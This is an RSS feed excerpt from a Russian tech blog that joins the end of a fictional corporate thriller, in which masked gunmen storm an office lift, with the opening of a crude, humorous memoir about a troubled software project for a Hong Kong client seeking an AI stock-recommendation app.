  <p id="HaOF">И тот кто принял это интересное решение —  ни-хре-на не «Святая Дева Мария». Потому что такие святым девам не нужны.</p>
  <p id="6PtH">Ну... очень на это надеюсь.</p>
  <p id="o83h"></p>
  <h2 id="pKFD">Две недели назад</h2>
  <p id="le3m">— Ну что Артем, ты в деле? </p>
  <p id="KWvv">Задавший этот, столь банальный вопрос, русый парень в деловом костюме не производил впечатление опасного или проблемного. Как впрочем и его коллега, сидящий рядом. </p>
  <p id="8vCt">Мы все тогда не были проблемными. </p>
  <p id="9jnh">Сотрудники большой компании — мелкие пчелки в большом улье, следящие за уровнем хозяйского меда. </p>
  <p id="I4rw">Обычный рабочий день в стеклянном офисе шел своим чередом, наступил обеденный перерыв в корпоративной столовой.</p>
  <p id="9ewK">— Не переживай, глава департамента в курсе и нашу инициативу поддержат сверху. Проблем не будет. </p>
  <p id="YSoz">Сидящий рядом с русым грузный армянский мужчина с добрым лицом, сделав глоток кофе и картинно разведя руками продолжил. </p>
  <p id="fZvB">— Пойми, все это не более чем игра. Дань уважения преданному сотруднику, отдавшему не один десяток лет работе на корпорацию. </p>
  <p id="2hqO">— Но чисто между нами: старой крысе давно пора на пенсию. И в руководстве об этом знают.</p>
  <p id="HdgU">— Ты на хорошем счету, даже врать не придется. </p>
  <p id="5AQP">— Достаточно подсветить в докладе проблемные места, отметить упущения и провалы, которых за этим старым чертом немало. Привести факты, перечислить неприятные инциденты. </p>
  <p id="9KvM">— Ну и сослаться на «слабеющие когнитивные возможности» старой мразоты.  Со всем уважением, разумеется.</p>
  <p id="nxsD">В качестве завершения тирады раздался смачный хруст сельдерея.</p>
  <p id="hNrO">— Тот январский сбой помнишь? </p>
  <p id="KHt9">Встревает в разговор русый.</p>
  <p id="dflM">— Два ключевых сегмента корпративной сети сутки лежали. </p>
  <p id="XkUB">— Тестовые стенды, багтрекер, даже мать его корпоративный чат — все накрылось.</p>
  <p id="8Td4">— Мы с Арсеном (кивает на армянина) тогда контракт потеряли, жирный. Оборонку. </p>
  <p id="RWTb">— Не очень приятно когда тебя при подчиненных называет «тупым долбоящером» целый генерал армии, пусть и штабной.</p>
  <p id="1DWv">Арсен дожевав сельдерей продолжает нагнетать: </p>
  <p id="pQfh">— А старой крысе все сошло с рук. </p>
  <p id="kPdg">— «Обновления неудачно поставили», понимаешь. </p>
  <p id="P06S">— Скоты криворукие.</p>
  <p id="nlhg">Соглашается русый.</p>
  <p id="Ak13">— Да просто эта старая гнида с безопасниками уже десяток лет на короткой ноге. </p>
  <p id="Bg51">— Подал руководству все так, будто это он один — герой и защитил компанию от «страшной угрозы извне». </p>
  <p id="sSVr">— Мразота плешивая.</p>
  <p id="I9Vx">— Короче господа, давайте еще раз пройдемся по нашему плану и проговорим ключевые места, чтобы потом не было разногласий.</p>
  <p id="3gcX">Мы еще долго сидели в тот день, обсуждая до мелких деталей хитроумный план, которому так не суждено было воплотиться в жизнь. </p>
  <p id="kyg1"></p>
  <h2 id="Zxo9">Неделя назад</h2>
  <p id="gref">Как вообще можно что-то планировать? </p>
  <p id="pyiv">Жизнь это хаос и случайность.</p>
  <p id="6Zxr">Управление рисками? Серьезно?</p>
  <p id="MPFG">Расскажите об этом фаундеру, который пришел показывать свой проект инвесторам в тот замечательный день.</p>
  <p id="3Tq3">Чувак — гений, без дураков, много лет учился, затем работал наемным сотрудником в крупных компаниях. Нашел нишу, собрал команду единомышленников, которая даже успела что-то выпустить.</p>
  <p id="kRs3">И вот настает его час, он встает и выходит на сцену, судорожно включает ноутбук и запускает презентацию свой проекта. </p>
  <p id="LK9U">«Важного для всего человечества», разумеется — ради меньшего такая аудитория не собирается.</p>
  <p id="6UAj">Голос предательски дрожит, несмотря на весь опыт и достижения, фаундер волнуется, его аудитория сегодня — люди из другого социального класса, из другого мира, практически с другой планеты.</p>
  <p id="R5ks">С планеты, где все и всегда хорошо.</p>
  <p id="rPLR">Из сказочного, волшебного мира, в котором всем по#бать на исполнителей — тех кто выносит говно и прибирает за «сильными мира сего».</p>
  <p id="oObQ">Фаундер начинает заготовленную речь. </p>
  <p id="5jkT">Стандартные формулировки и шаблонные заходы, ничего нового. </p>
  <p id="xdNV">Публика начинает откровенно скучать.</p>
  <p id="zXb6">Пресыщенная аудитория отвлекается, начинает тупить в телефоны, мелькают злобные ухмылки, не предвещающие ничего хорошего. </p>
  <p id="blav">Казалось бы судьба очередного стартапа предрешена и очко фаундера вот-вот уйдет в зрительный зал.</p>
  <p id="IZmH">Но высшие силы решили в этот день пошутить.</p>
  <h2 id="wJIu">Тот же день, подземная парковка</h2>
  <p id="JdRD">Самый обычный фургон ремонтной компании, не привлекая лишнего внимания медленно заезжает на подземную парковку корпорации.</p>
  <p id="1eT7">— Помните нашу миссию, парни! </p>
  <p id="Vwe3">— Мы все были рождены ради великой цели!</p>
  <p id="kGAA">— Другого пути нет и создатель благословил нас на великое дело. То, чему суждено произойти сегодня это не конец!  </p>
  <p id="Jftr">— Это великое начало!</p>
  <p id="ILJt">Декламирующая всю эту дичь женщина вызывала уважение. И вполне определенные желания, сексуального толка.</p>
  <p id="1SZl">Но нам, простым работягам все было понятно и так, без ненужных слов и говорящих п#зд.</p>
  <p id="GGEb">Понятно очень давно.</p>
  <p id="uYaB">Корпорация — чистое зло, ее сотрудники — чипированные упыри, творящие эксперименты и опыты над живыми людьми.</p>
  <p id="POu9">Не надо таким жить на свете.</p>
  <p id="QBlx">Рожок патронов для АК-74 скоро станет для них проводником в иной мир. </p>
  <p id="ESVm">Мир мертвых.</p>
  <p id="Y0XQ">Все просто и понятно.</p>
  <p id="EHoW">Особенно когда есть АК-74, патроны и немного «волшебной пыльцы», так ускоряющей мышление.</p>
  <h2 id="OGJD">Тот же день, лифт</h2>
  <p id="054K">Артем, молодой белый мужчина, с высшим образованием, хорошим послужным списком и идеальной биографией.</p>
  <blockquote id="MKk5">Не п#дор, наркоман или мудак, пытающийся сдать в ломбард последний корпоративный гвоздь ради налички для очередной ставки.</blockquote>
  <p id="7qRz">Сейчас он выбрит, надушен и в деловом костюме, что не очень типично для айтишника.</p>
  <p id="bOgr">Артем ведет корпоративную Тойоту аккуратно, не превышая рекомендуемую скорость и соблюдая все правила  — он знает, что сегодня важный день и отчет по поездкам в течение последнего месяца обязательно ляжет на стол руководству.</p>
  <p id="WeOR">Любая мелочь, любое нарушение может стать провалом.</p>
  <p id="hJzi">Припарковавшись на многоуровневой корпоративной стоянке, Артем заходит в лифт, который должен доставить его на 75 этаж головного офиса корпорации, в переговорную. Где его уже ждут.</p>
  <p id="dFvW">Он должен прочитать важный доклад для высшего руководства, способный радикально изменить его жизнь и карьеру.</p>
  <p id="2TTU">Он спокоен и сосредоточен, идет четко к цели и не замечает ничего вокруг. Артем не верит в Бога, не верит в судьбу, не верит в случайности и совпадения. </p>
  <p id="G0Pp">Поэтому когда в лифт вслед за ним влетают пятеро вооруженных людей в масках — все его понимание этого мира рушится.</p>
  <p id="32JN">Окончательно и бесповоротно.</p>
  <p id="8pxr">Последнее что он видит это приклад автоматической винтовки, которым его бьют по голове.</p>
  <p id="Dgf9"></p>
  <h2 id="ClRe">Утро нового дня</h2>
  <p id="fz8O">— На этом все Павел Георгиевич, доклад закончил.</p>
  <p id="kOco">— Свободен.</p>
  <p id="WT2k">Оперативник быстро кланяется и направляется к выходу.</p>
  <p id="YAPF">В помещении темно и накурено, на экране трехмерного проектора остается замерший кадр — последнее что увидела камера: пятеро вооруженных боевиков в масках залетают в кабину лифта. </p>
  <p id="rV9j">Павел Георгиевич достает именной портсигар, вытягивает тонкую, вручную набитую папиросину и задумчиво катает ее между пальцами.</p>
  <p id="h997">Он видел многое за свою долгую жизнь в корпорации, еще больше — на посту тайного агента службы безопасности. </p>
  <p id="D31t">Но всему есть предел и у всего есть конец. </p>
  <p id="W4Ua">И срок службы уважаемого Павла Георгиевича практически подошел к своему логическому концу — с такой работы не увольняют и не отпускают. </p>
  <p id="EXhO">Даже на пенсию.</p>
  <p id="7RO7">— Н-да, вот такие дела. </p>
  <p id="9jYG">— Неожиданно. </p>
  <p id="o3vK">— Неожиданно и неприятно.</p>
  <p id="wJNy">Поворачивается к сидящему рядом сотруднику.</p>
  <p id="66bf">— Ну что, Тимур, ты же хотел повышения?</p>
  <p id="nXCm">Кивает на экран проектора.</p>
  <p id="OUQt">— Вот это он, твой шанс. Жги. </p>
  <p id="vAwR">Тимур — крепкий коренастый азиат, оторвал взгляд от досье Артема Павленко, которое он изучал второй час подряд и посмотрел на своего шефа.</p>
  <p id="HbSd">— К сожалению наши системы безопасности оказались не рассчитаны на идиотов.  </p>
  <p id="w4dX">— А в террористы почему-то других не берут.</p>
  <p id="2zhk">— Ну почему же сразу идиоты? У них есть великая цель, есть идея.</p>
  <p id="iSFR">Павел Георгиевич закончив мусолить папиросину, наконец закуривает.</p>
  <p id="XFpc">— В сущности это лучшие люди, чистые и незамутненные в своей идейной борьбе. Лучше чем мы с тобой.</p>
  <p id="UJIJ">Затягивается и выпускает клуб дыма в потолок.</p>
  <p id="Q8s8">— Ага, незамутненные идиоты. Точно подмечено шеф.</p>
  <p id="ecXJ">Тимур не улавливает сложного юмора руководства, которое так старался подсидеть.</p>
  <p id="GGox">— Ладно, вижу в философских вопросах ты не силен, давай тогда ближе к делу. Оперативная обстановка, план действий, идеи, мысли, замечания — излагай.</p>
  <p id="wQCH">..</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/one-hundred-percent-recognition</guid><link>https://blog.0x08.ru/one-hundred-percent-recognition?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/one-hundred-percent-recognition?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Стопроцентное распознавание</title><pubDate>Tue, 24 Feb 2026 10:51:55 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/92/d0/92d0c6ac-67aa-4bc3-9968-6603d6a1a358.png"></media:content><category>project-management</category><description><![CDATA[<img src="https://img1.teletype.in/files/81/e6/81e601e3-2140-4821-9340-485ac87b18c9.jpeg"></img>У истории про «элитный вайбкодинг», вызвавшей заметный интерес широких айтишных масс, есть не менее интересная предыстория.]]></description><content:encoded><![CDATA[
  <p id="ljgh">У истории про «<a href="https://blog.0x08.ru/elite-vibecoding-2026" target="_blank">элитный вайбкодинг</a>», вызвавшей заметный интерес широких айтишных масс, есть не менее интересная предыстория. </p>
  <p id="DyNt">Сейчас расскажу «как Сол Гудман стал таким». </p>
  <p id="CwXo">Проектному управлению посвящается.</p>
  <figure id="3VpF" class="m_column">
    <img src="https://img1.teletype.in/files/81/e6/81e601e3-2140-4821-9340-485ac87b18c9.jpeg" width="1154" />
  </figure>
  <h2 id="gZfv">Низвержение в Мальстрем</h2>
  <p id="EPO7">Если никогда не бывали в <a href="https://en.wikipedia.org/wiki/Hong_Kong" target="_blank">Гонконге</a>, то многое потеряли — это место точно стоит посетить, хотя-бы раз в жизни. </p>
  <p id="C1Tr">Особенно если кино про компьютеры, вроде «<a href="https://en.wikipedia.org/wiki/Ghost_in_the_Shell_(1995_film)" target="_blank">Призрака в доспехах</a>», «<a href="https://en.wikipedia.org/wiki/Hackers_(film)" target="_blank">Хакеров</a>» или «<a href="https://en.wikipedia.org/wiki/Johnny_Mnemonic_(film)" target="_blank">Джонни Мнемоника</a>» для вас что-то значит. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="qUOk">Огромный, футуристический мегаполис, неоновые вывески с иероглифами и бесконечные толпы людей вокруг.. </p>
  </section>
  <p id="mDNO">Яркие краски и узкие улочки «в тени мегабашен», с гудящими кондиционерами, мелкие лавочки с азиатской едой — именно Гонконгом и его атмосферой вдохновлялись многие известные авторы жанра <a href="https://en.wikipedia.org/wiki/Cyberpunk" target="_blank">киберпанк</a>. </p>
  <figure id="EbiD" class="m_column">
    <img src="https://img4.teletype.in/files/7f/ca/7fca03cc-12f6-4384-8776-957ba2a5668b.jpeg" width="2560" />
    <figcaption>Все фото - авторские, снятые в Гонконге и Сингапуре, во времена описываемых событий.</figcaption>
  </figure>
  <p id="JL7G">Именно здесь, в одном из маленьких, но очень атмосферных гонконгских баров началась эта печальная история. После которой я наконец перестал пытаться изменить мир и окружающих.</p>
  <p id="R17U">..</p>
  <p id="gyZB">— Повторяю вопрос: ты точно уверен? </p>
  <p id="8t9K">— Еще можно все отменить, договор не подписан. Можем «дать заднюю» без особых последствий.</p>
  <p id="dMd3">С тогдашним деловым партнером, назовем его Павлом, мы были знакомы еще со студенческих времен. Но бизнес есть бизнес — в нем есть жесткие правила, самое важное из которых: </p>
  <blockquote id="UryS">нам надо зарабатывать деньги.</blockquote>
  <p id="Hecl">Высокая прибыль от проекта легко может быть перекрыта например судебным иском, с требованием возмещения. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="dp97">Поэтому решение брать ли проект в работу — <strong>всегда</strong> сложное и зависит от множества факторов, не всегда очевидных обывателю. </p>
  </section>
  <p id="aivm">Даже если на счетах миллиард, в штате  десяток зубастых юристов, а компания называется <s>EPAM</s> Accenture.</p>
  <p id="J8vR">— Да-да, уверен. Сколько можно повторять? </p>
  <p id="exHu">— Мистер Лююю Фхенх действительно заинтересован.</p>
  <p id="rYsE">Чуждое для отечественного уха имя было намерено исковеркано. Павел не особо котировал азиатских бизнесменов. </p>
  <figure id="OYSi" class="m_column">
    <img src="https://img2.teletype.in/files/d9/99/d999092d-1507-4a17-b0b4-165ce23db9da.jpeg" width="2560" />
    <figcaption>Улицы ночного Гонконга.</figcaption>
  </figure>
  <p id="nlSf">Несмотря на регулярное деловое общение с ними и многочисленные поездки по странам Азии. </p>
  <p id="L4oe">— Мы его впечатлили, насколько это возможно для азиата. Так что расслабься и насладись наконец победой.</p>
  <p id="F9Cb">Сидели мы, как помню, в уютном, крошечном баре, в самом начале длинной улицы с разнообразными питейными заведениями.</p>
  <p id="Ed2K">Был тихий, спокойный вечер. Даже слишком тихий и спокойный для такого огромного мегаполиса.</p>
  <p id="HKWQ">— Не нравится мне эта история, от слова «совсем». </p>
  <p id="ebs9">— Риски слишком велики. Чужая страна, сложная область, еще и разработка с нуля. <s>Обосремся</s> Надорвемся.</p>
  <p id="gave">Партнера не удивило такое отношение, все-таки мы были знакомы очень давно.</p>
  <p id="93U4">— Все потому, что ты, мой дорогой друг, плохо учил историю.   </p>
  <p id="DmTo">Мой собеседник сделал изящный пируэт кружкой пива, чему деловой костюм никак не помешал — примерно для этого и существует индивидуальный пошив. Для свободы действий.</p>
  <p id="BMtZ">— Мы с тобой в бывшей английской колонии, колонии европейской цивилизации. А ты между прочим европеец, фактически бывший господин для местных обитателей. </p>
  <p id="GNT2">— Так что больше уверенности.</p>
  <p id="TRu8">Пора было закрывать лавочку, продолжение банкета привело бы к <s>открытию филиала в Денвере</s> закономерному печальному финалу.  </p>
  <p id="MXXv">Но постебать Павла напоследок я все же не забыл:  </p>
  <p id="gYqG">— Ты в курсе, что славяне за европейцев никогда не считались?</p>
  <p id="EGTY">..</p>
  <figure id="YKi9" class="m_column">
    <img src="https://img2.teletype.in/files/5f/b4/5fb42d0a-2d0e-467c-94e0-d01d84207ff5.jpeg" width="2560" />
    <figcaption>Еще немного ночного Гонконга.</figcaption>
  </figure>
  <p id="Get7">Понимаю что сейчас — после пандемии, череды войн и мировых кризисов все это кажется невероятной идиотией, но тогда все было иначе.</p>
  <blockquote id="ijXh">Мы действительно видели себя на вершине мира — тихого и спокойного мира, в котором существовали правила. </blockquote>
  <p id="4zyA">Конечно мы ошибались. </p>
  <p id="kH0m">..</p>
  <p id="yMhT">Утром следующего дня, такси высадило нас у старого офисного здания в деловом центре Гонконга.</p>
  <p id="8xLa">— Добрый день, господа!</p>
  <p id="VGiW">— Мистер Лу скоро будет готов принять вас, подождите пожалуйста здесь.</p>
  <p id="VQGf">— Чай? Кофе?</p>
  <p id="MnNh">Первый признак серьезности для делового человека — его секретарь. </p>
  <blockquote id="yDJX">Не юная миловидная девушка с соблазнительными формами, забывающая надевать лифчик, вовсе нет. </blockquote>
  <p id="RHeu">Такое только для дураков, не имеющих к реальному бизнесу никакого отношения.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="dmvF">Лютый цербер, с детектором проблемных клиентов, владеющий приемами рукопашного боя и навыками международной дипломатии — вот что такое секретарь серьезного человека.</p>
  </section>
  <p id="qSzI">И одного взгляда на встретившего нас секретаря было достаточно для осознания:</p>
  <blockquote id="Rlpe">достопочтенный мистер Лу Ченг — серьезный бизнесмен, без вопросов и сомнений.</blockquote>
  <p id="AXYH">Нас проводили в небольшую комнату ожидания. </p>
  <figure id="ofah" class="m_column">
    <img src="https://img1.teletype.in/files/07/d3/07d376fd-178d-4c9c-bda5-edf7fc958008.jpeg" width="1280" />
    <figcaption>Это уже Сингапур и сейчас этот район стал раза в два больше.</figcaption>
  </figure>
  <p id="IJBt">Пара мягких диванов, столик с рекламными буклетами компании, картины на стенах — ничего примечательного. За исключением пары мелких деталей, дающих понять, что мы все-таки в Азии.</p>
  <p id="sAnR">На одном из диванов уютно расположилась пара весьма занятных персонажей — Боб и Майк, как они позже представились. Классические бриты.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="oTIJ">«Sales executive» — специалисты по работе с ключевыми клиентами. Из одной очень известной компании с мировым именем.</p>
  </section>
  <p id="kIKH">Пара — не в том смысле что они были «парой» и делали друг с другом всякое темными ночами. Просто их было двое. </p>
  <p id="hVP0">— Так что парни, чем занимаетесь?</p>
  <p id="ukIf">К моменту когда был наконец задан этот вопрос, мы успели пожать руки, представиться и завязать тот самый «small talk» — легкую светскую беседу «ни о чем», которая так тяжело дается выходцам из стран СНГ.</p>
  <p id="bGrI">Пришло время для более серьезного разговора.</p>
  <p id="frde">— Разработкой программного обеспечения. Ну знаешь, программы всякие, для компьютеров.</p>
  <p id="Qq03">Боб с интересом кивнул.</p>
  <p id="yyUh">— А вы из России да? Говорят в России лучшие программисты.</p>
  <p id="NGtB">Майк был немного старше и по всей видимости более искушен в дипломатии.</p>
  <p id="dIha">— Далеко же вы ребята забрались. Надеюсь у вас все получится в Гонконге.  Можем чем-то помочь? </p>
  <p id="DMtI">— Наша компания предоставляет облачные услуги, но вы наверное в курсе.</p>
  <p id="yOaL">Еще бы мы не были в курсе — Боб с Майком представляли компанию масштаба Микрософта в сфере облачных решений. Уверен, вы дорогой читатель, тоже ее хорошо знаете.</p>
  <p id="J9k6">— Мы заинтересованы в новых партнерах, поможем, обучим, <s>отсосем</s> дадим льготный период. </p>
  <p id="z4zB">— Что у вас за проект?</p>
  <p id="CKov">Так мы сделали первую серьезную ошибку, рассказав Бобу и Майку о нашем проекте. Первую в этом повествовании разумеется, не хронологически.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="4uIN">Хронологически первой серьезной ошибкой, была покупка родителями домашнего компьютера.</p>
  </section>
  <p id="G3LI">Что в итоге и превратило обоих вместо приличных членов общества в ээ.. отъявленных представителей ИТ-индустрии.</p>
  <p id="c5kP">— У мистера Лу есть проект по анализу документов о размещении акций с бирж, у нас — соответствующий опыт и компетенции.</p>
  <p id="qZEQ">Павел кивнул на меня. </p>
  <p id="zw74">— Пилот успешно запустили, теперь расширяем функционал.</p>
  <p id="jtRX">Боб с Майком переглянулись.</p>
  <p id="bJae">—У нас с мистером Ченгом тоже ээ.. есть один проект. </p>
  <p id="TsGM">— Но с такими крутыми парнями как вы, точно хотелось бы посотрудничать. Обсудим?</p>
  <p id="piMl">Позже выяснится, что никакого проекта у Боба с Майком не было, с мистером Лу они толком не были знакомы и вообще реальная ситуация сильно отличалась от рассказанного нам. </p>
  <p id="j277">Сотрудники мировой корпорации, как оказалось, запросто могут врать в лицо, забивать на любые правила и даже букву закона. </p>
  <blockquote id="QkKP">И все это в стране первого мира.</blockquote>
  <p id="ZBh3">Блеф, презрение и ненависть могут быть вежливыми и с соблюдением этикета — я смог убедиться в этом задолго до первой публикации на Хабре.</p>
  <figure id="kzvD" class="m_column">
    <img src="https://img1.teletype.in/files/8c/4e/8c4e168b-41c7-4739-82a4-bb8d02f771e0.jpeg" width="2560" />
    <figcaption>Еще улочки Гонконга, узнаете стилистику?</figcaption>
  </figure>
  <h2 id="NpzN">Конкретика</h2>
  <p id="S7hN">Понимаю, что слегка утомил литературными изысками, все же это техническая статья, а не гламурный роман. </p>
  <p id="H4Ud">Так что даю наконец «цинк»:</p>
  <blockquote id="p1Jn">Десять лет назад случился проект, который чуть нас не угробил, вогнав в серьезные долги и поставив на грань выживания. </blockquote>
  <p id="aF1y">Проект, который сильно поменял мои взгляды на жизнь, работу и отношение к клиентам. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="CEX7">Проект, ставший своеобразным приквелом к истории с «<a href="https://blog.0x08.ru/elite-vibecoding-2026" target="_blank">Элитным вайбкодингом</a>»</p>
  </section>
  <p id="zrWP">Текст ниже надеюсь доходчиво объяснит, почему автор больше не испытывает угрызений совести и моральных терзаний при работе с клиентами.</p>
  <p id="bwdb">Еще по этому адскому проекту давно выложена <a href="https://blog.0x08.ru/projects-data-processing-2017" target="_blank">отдельная статья</a> с техническими деталями, с примерами кода, скриншотами и так далее. </p>
  <p id="JiHP">Хотя материалов с тех лет осталось немного: </p>
  <blockquote id="sieX">большая часть работы заключалась в сложной обработке данных, а делать скриншоты черной консоли казалось скучным занятием.</blockquote>
  <p id="R9Iv">Но повторяться не буду и этот рассказ пойдет в первую очередь <strong>про людей</strong>, со всеми их бедами и проблемами. Не про технологии и компьютеры, у которых все хорошо пока есть электричество. </p>
  <p id="aR9F">Также стоит сразу уточнить: </p>
  <blockquote id="pESd">несмотря на реальность событий, имена действующих лиц и некоторые факты биографии все же были изменены.</blockquote>
  <p id="oYnO">Поэтому в частности, упоминаемая семья Ченг <strong>не имеет отношения</strong> к реальному и весьма известному миллиардеру из Гонконга. </p>
  <figure id="XLmt" class="m_column">
    <img src="https://img1.teletype.in/files/4c/29/4c29a439-e999-4a7b-849d-b46641303d0e.jpeg" width="2560" />
    <figcaption>Вид на Гонконг из здания аэропорта. Да, там есть горы.</figcaption>
  </figure>
  <h2 id="8ZaX">Трудности перевода</h2>
  <p id="nJkD">С Ченгом-младшим мы познакомились, как часто бывает, совершенно случайно — в аэропорту. Случилась задержка рейса на несколько часов, которые решили скоротать в баре.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="yRTp">— Do you speak English?</p>
  </section>
  <p id="EQ6v">Меня регулярно принимают за местного в чужих городах и странах, приставая с дурацкими вопросами. Такое случалось даже в <a href="https://en.wikipedia.org/wiki/Singapore" target="_blank">Сингапуре</a>, поэтому не особо удивился, заметив перед собой молодого азиата в дурацкой панамке со скорбным выражением лица. </p>
  <p id="ZhpQ">Оказалось, что его рейс тоже задержали, а элитная кредитка в российском банкомате почему-то не читалась, оставив иностранного туриста без денег. </p>
  <p id="MCk6">Еще он очень устал и хотел спать. </p>
  <blockquote id="VLzf">Русского он конечно не знал, а уровень владения английским в отечественных аэропортах не далеко ушел от классического «лет ми спик фром май харт». </blockquote>
  <p id="PuZs">Так Томасу Ченгу — сыну известного бизнесмена Лу Ченга из Гонконга в первый раз понадобилась наша помощь. </p>
  <p id="TqGq">Пусть всего лишь с такси и гостиницей.</p>
  <figure id="OMop" class="m_column">
    <img src="https://img1.teletype.in/files/43/fe/43fee324-613b-4de7-a236-1565de3dfb27.jpeg" width="1280" />
    <figcaption>Уникальный ТЦ в Сингапуре, с лодочным каналом! Можно было натурально приплыть за покупками.</figcaption>
  </figure>
  <h2 id="tsZ7">Сказочное Бали</h2>
  <p id="i25y">Две недели спустя мы с партнером сидели в красивом, стильно обставленном офисе. </p>
  <p id="vPd8">— Томас, понимаем задача грандиозная. </p>
  <p id="goc0">— Но нужен план. И оценка бюджета, хотя-бы примерная. </p>
  <p id="rbCP">Ченг-младший совсем недавно закончил престижный университет и рвался «всем все доказать», а едва узнав чем мы занимаемся — не <s>слезал с нас</s> вылезал из переписок неделю, изливая на нас одну ох#ительную идею за другой.</p>
  <p id="1G6C">Университет хоть и был действительно престижным, своего звездного студента мало чему смог научить. </p>
  <blockquote id="fyOy">Точно не <s>сопромату</s> дисциплине и планированию. </blockquote>
  <p id="LyGf">Но хороший вкус у Ченга-младшего был, этого не отнять.</p>
  <p id="tdc4">— Все очень просто. </p>
  <p id="4CS9">(не представляете как часто эта фраза звучит на переговорах) </p>
  <p id="oNas">— Надо сделать простую программу, чтобы пользователи могли покупать и продавать акции компаний на бирже. </p>
  <p id="ZAwN">— Всего лишь две кнопки: «купить» и «продать».</p>
  <p id="y6JA">«Программа» это разумеется мобильное приложение, других Томас не признавал. Точнее две: под iOS и Android, с разными маркетплейсами, правилами аудита, продвижением и ограничениями. </p>
  <blockquote id="zHJ8">И конечно минимум две разных версии под планшеты.</blockquote>
  <p id="Qt7C">Плюс невидимый глазу клиента бекэнд с API, авторизация, внешние интеграции и вся обвязка для управления. Но это лишь «скучные технические детали», ненужные и неинтересные.</p>
  <p id="3VQJ">— Еще там будут советы <s>бывалых</s> какие акции сейчас стоит купить, а какие продать. </p>
  <p id="KYRS">— Главная фишка сервиса. Ни у кого такого нет!</p>
  <p id="ulyF">Разумеется подобных «уникальных приложений» было даже тогда — как <s>говна за баней</s> очень много. Но тратить время на переубеждение потенциального клиента.. ..чтобы что? Cорвать переговоры? </p>
  <p id="O7uP">— А откуда все эти «советы» будут браться? Посадишь финансовых аналитиков вбивать?</p>
  <p id="h4Gl">— Не-не-не! 21й век на дворе, вы чего.</p>
  <p id="Q5UY">— Сделаем уникальную систему с искусственным интеллектом. Она сама будет <s>бегать за пивом</s> получать данные с бирж, читать их и анализировать. </p>
  <p id="xf9T">— Затем выдавать рекомендации пользователям. </p>
  <p id="sAwq">— Платные, разумеется.</p>
  <p id="55CH">Мы с Павлом переглянулись. </p>
  <p id="G0DJ">Напомню, дело происходило больше <strong>десяти лет назад</strong>, до появления ChatGPT и массового <s>психоза</s> увлечения нейроcетями. </p>
  <p id="G1EA">ИИ тогда был, по большей части, темой научных диссертаций и R&amp;D, но точно не мейнстримом. </p>
  <figure id="kKt6" class="m_column">
    <img src="https://img1.teletype.in/files/c6/a3/c6a3e3fd-6451-4c47-a6a6-a8ad464967c5.jpeg" width="1280" />
    <figcaption>Улицы Сингапура, ничего интересного.</figcaption>
  </figure>
  <p id="rt3S">Томас тем временем продолжал фонтанировать. </p>
  <p id="QjWy">— У меня есть знакомый ученый, математик или что-то такое.  </p>
  <p id="jWaw">— Учились вместе. Как-то напоили до потери сознания и привязали к заднице петарду с блестками. Он ползал по кампусу и блевал дугой во все стороны, а из задницы летели фейерверки  — весело было всем! </p>
  <p id="rGlS">Судя по выражению лица Ченга-младшего, такие развлечения у них были регулярными.</p>
  <p id="DbxU">— Короче я его нанял, чтобы ваять автоматические предсказания по акциям, с помощью всей этой технической зауми и матана.</p>
  <p id="OJlb">— И это работает, просто пока ээ.. не полностью.</p>
  <p id="DIeO">Еще одна частая фраза на переговорах: «работает, но не полностью». Примерно как «машина ездит, но пока без колес».</p>
  <p id="5w5H">— Ладно, а как это сейчас выглядит?</p>
  <p id="p8hM">— Ну мой математик просто скачивает файлы с бирж вручную, выделяет нужные цифры с количеством акций и изменениях долей акционеров и подставляет в свою модель.</p>
  <p id="RQG1">Тогда у меня еще дергался глаз с описания таких рабочих процессов, но про дипломатию я все же не забывал: </p>
  <p id="jD9d">— Кропотливая работа, наверное.</p>
  <p id="Z4pP">— Да плевать, ему за это платят. </p>
  <p id="pl5s">Ченг-младший, родившийся «с золотой ложкой» предсказуемо имел другие взгляды на дипломатию и будни простых сотрудников.</p>
  <p id="9AI4">— На данный момент успели проверить модель на примерно сотне документов. Что вроде как мало. </p>
  <p id="lO7a">Для счастливых обладателей гуманитарного образования поясняю: </p>
  <blockquote id="oLiQ">сотня документов для такой задачи это <s>п#здец</s> невозможно мало, это даже не курсовая работа.</blockquote>
  <p id="fcNo">Уровень школьного проекта, не самой лучшей школы.</p>
  <p id="a2k7">..</p>
  <p id="e4nd">Не буду утомлять читателя дальнейшим пересказом тех далеких событий, полагаю отрывка выше вполне достаточно для понимания сути.  </p>
  <p id="2Sm5">Лишь добавлю, что с Томасом был таки подписан договор, по которому мы должны были сделать пилот его гениального приложения с предсказаниями и советами. </p>
  <p id="Gqau">По вполне конкретному ТЗ, усилия для согласования которого были сопоставимы с работой дипломатов МИД РФ по урегулированию известного конфликта в соседней стране. </p>
  <p id="lPuf">Казалось, ничего не предвещало большой беды. Ну почти.</p>
  <figure id="zZmO" class="m_column">
    <img src="https://img4.teletype.in/files/b1/cd/b1cd9330-3041-4b46-b5a2-4b43a518433d.jpeg" width="2560" />
    <figcaption>Подворотни Гонконга, уверен вы видели это в недавнем Cyberpunk 2077.</figcaption>
  </figure>
  <h2 id="11FH">Cherchez la femme</h2>
  <p id="eFJj">У нашей беды было красивое имя, ее звали Катрин. </p>
  <p id="tIMq">Ну вы же не думали, будто статья про грандиозный провал обойдется без участия женщины?</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Kd6x">«Cherchez la femme», мои дорогие, так устроен этот мир.</p>
  </section>
